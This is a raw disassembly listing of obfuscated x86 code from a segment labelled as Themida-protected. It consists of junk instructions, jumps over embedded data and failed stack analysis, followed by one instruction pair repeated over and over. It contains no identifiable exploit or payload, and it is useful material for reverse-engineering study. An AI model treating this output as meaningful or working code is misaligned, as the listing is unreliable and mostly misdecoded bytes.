db 0A9h, 8Dh
; ---------------------------------------------------------------------------
loc_60ECE2: ; CODE XREF: sub_60EC6C+62j
add dx, 0D0Fh
stc
movzx ebx, ax
call near ptr sub_60ECFE
db 2Eh
xchg edi, esp
bound esp, [eax]
rcr byte ptr [edi+ebx*8], 0D8h
pop esp
fistp word ptr [eax]
xchg eax, edx
xchg eax, edx
sub_60EC6C endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_60ECFE proc far ; CODE XREF: sub_60EC6C+7Fp
jbe loc_60ED06
push ebx
pop edx
loc_60ED06: ; CODE XREF: sub_60ECFEj
pop edx
jmp loc_60ED11
; ---------------------------------------------------------------------------
dd 0EA4F06B1h
db 6Dh
; ---------------------------------------------------------------------------
loc_60ED11: ; CODE XREF: sub_60ECFE+9j
adc bl, 68h
mov ax, 5704h
pusha
movzx eax, si
stc
popa
movsx ecx, bx
mov dh, 0BEh
pusha
mov esi, edx
popa
mov ecx, 23916154h
mov ch, 78h
pusha
jl $+6
stc
popa
pusha
movsx ebx, si
movsx ebx, si
popa
xor ecx, 1FD96861h
js loc_60ED4F
push edx
mov bl, 45h
pop edi
loc_60ED4F: ; CODE XREF: sub_60ECFE+47j
jmp loc_60ED5C
; ---------------------------------------------------------------------------
dd 0A451E581h, 8FBAF7Ah
; ---------------------------------------------------------------------------
loc_60ED5C: ; CODE XREF: sub_60ECFE:loc_60ED4Fj
jmp loc_60ED67
; ---------------------------------------------------------------------------
retf 5AABh
; ---------------------------------------------------------------------------
db 0B8h, 5, 4Ch
; ---------------------------------------------------------------------------
loc_60ED67: ; CODE XREF: sub_60ECFE:loc_60ED5Cj
pusha
movzx eax, si
or di, 93BDh
popa
jmp loc_60ED87
; ---------------------------------------------------------------------------
dw 0C2Eh
; ---------------------------------------------------------------------------
jz short loc_60ED7F
ror bl, 94h
db 3Eh
push ds
loc_60ED7F: ; CODE XREF: sub_60ECFE+7Aj
adc eax, 9C04E968h
rcl byte ptr [ebp-43h], cl
loc_60ED87: ; CODE XREF: sub_60ECFE+73j
or di, 73A2h
mov ecx, edi
and esi, 10591970h
and edi, 45FDF9B6h
mov di, si
add ch, 3Bh
mov eax, edi
jmp loc_60EDBA
; ---------------------------------------------------------------------------
db 0D8h
dd 0F8319D85h, 0AFEA613Dh, 70A636EBh, 42552965h
db 8Ch, 9Ah
; ---------------------------------------------------------------------------
loc_60EDBA: ; CODE XREF: sub_60ECFE+A4j
jmp loc_60EDC5
; ---------------------------------------------------------------------------
mov dword ptr [esi], 2300E76Fh
loc_60EDC5: ; CODE XREF: sub_60ECFE:loc_60EDBAj
jmp loc_60EDDB
; ---------------------------------------------------------------------------
db 0CCh
db 0A7h
dd 988C488Eh, 471AB9EBh, 186A7943h
db 37h, 17h, 0C8h
; ---------------------------------------------------------------------------
loc_60EDDB: ; CODE XREF: sub_60ECFE:loc_60EDC5j
jmp loc_60EDEA
; ---------------------------------------------------------------------------
dd 0E0800534h, 4C6FDDE8h
db 0EEh, 0CAh
; ---------------------------------------------------------------------------
loc_60EDEA: ; CODE XREF: sub_60ECFE:loc_60EDDBj
jmp loc_60EDF9
; ---------------------------------------------------------------------------
db 1Eh
dd 8F2BC3F2h, 7613135Eh
; ---------------------------------------------------------------------------
cmpsb
loc_60EDF9: ; CODE XREF: sub_60ECFE:loc_60EDEAj
add al, 0Bh
call sub_60EE0C
push es
xchg eax, esi
outsb
jle short locret_60EE2E
xchg eax, ecx
mov edx, 0C83D4961h
sub_60ECFE endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_60EE0C proc near ; CODE XREF: sub_60ECFE+FEp
mov dh, bh
pop eax
mov dh, cl
jb loc_60EE1C
mov edi, 7889DCB2h
loc_60EE1C: ; CODE XREF: sub_60EE0C+5j
cld
mov dx, 5935h
jno loc_60EE34
pusha
jmp loc_60EE33
; ---------------------------------------------------------------------------
db 19h
; ---------------------------------------------------------------------------
locret_60EE2E: ; CODE XREF: sub_60ECFE+106j
retn 5776h
; ---------------------------------------------------------------------------
db 29h, 57h
; ---------------------------------------------------------------------------
loc_60EE33: ; CODE XREF: sub_60EE0C+1Cj
popa
loc_60EE34: ; CODE XREF: sub_60EE0C+15j
mov ecx, 6993E01Fh
or edi, 56E9F7AFh
call loc_60EE51
imul edi, edx, 57440961h
xlat
fidivr word ptr [ecx-322C8DA9h]
sub_60EE0C endp ; sp-analysis failed
loc_60EE51: ; CODE XREF: sub_60EE0C+33p
xor ch, 22h
pop eax
movzx ecx, bx
movzx eax, ax
mov bx, 2125h
jl loc_60EE71
jmp loc_60EE71
; ---------------------------------------------------------------------------
inc esi
sal dword ptr [ecx+6B1FABD5h], 1
loc_60EE71: ; CODE XREF: Themida_:0060EE5Fj
; Themida_:0060EE65j
jp loc_60EE7C
mov ebx, 52A7FA94h
loc_60EE7C: ; CODE XREF: Themida_:loc_60EE71j
mov bh, ah
jmp loc_60EE8B
; ---------------------------------------------------------------------------
db 0F8h
dd 30F4982Fh
db 78h, 0C0h, 4
; ---------------------------------------------------------------------------
loc_60EE8B: ; CODE XREF: Themida_:0060EE7Ej
mov bx, ax
jmp loc_60EEA3
; ---------------------------------------------------------------------------
align 4
dd 31602897h, 569E0345h, 3EE9A20Fh
db 19h, 0F1h, 76h
; ---------------------------------------------------------------------------
loc_60EEA3: ; CODE XREF: Themida_:0060EE8Ej
xor dx, 30Eh
jmp loc_60EEBC
; ---------------------------------------------------------------------------
retf 9DF6h
; ---------------------------------------------------------------------------
dd 8A8F1724h, 37766282h, 89FED335h
; ---------------------------------------------------------------------------
loc_60EEBC: ; CODE XREF: Themida_:0060EEA8j
mov edx, 32A4FF33h
jmp loc_60EED4
; ---------------------------------------------------------------------------
dw 9BBFh
dd 36905507h, 6F8603EDh, 0A91FF9FFh
; ---------------------------------------------------------------------------
loc_60EED4: ; CODE XREF: Themida_:0060EEC1j
mov dl, 6Bh
mov ch, bh
mov dl, 40h
clc
mov eax, 5F760A53h
pusha
adc edx, 47F95308h
mov al, ch
popa
and cx, 309Eh
pusha
mov bx, 0F2CEh
jmp loc_60EF07
; ---------------------------------------------------------------------------
db 0E6h, 0A8h, 7Bh
; ---------------------------------------------------------------------------
mov ebp, 1FB13B44h
ror dword ptr [eax+1E6BFD31h], 1
loc_60EF07: ; CODE XREF: Themida_:0060EEF4j
popa
jmp loc_60EF16
; ---------------------------------------------------------------------------
scasb
retf
; ---------------------------------------------------------------------------
mov dl, [esi+532820BAh]
push edx
loc_60EF16: ; CODE XREF: Themida_:0060EF08j
jmp loc_60EF2C
; ---------------------------------------------------------------------------
db 26h
dd 430B93E8h, 0C9FDEF9Dh, 27949252h, 0D1754A99h
; ---------------------------------------------------------------------------
loc_60EF2C: ; CODE XREF: Themida_:loc_60EF16j
movzx edx, cx
add ecx, 256608F2h
jle loc_60EF3D
mov ebx, eax
loc_60EF3D: ; CODE XREF: Themida_:0060EF35j
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
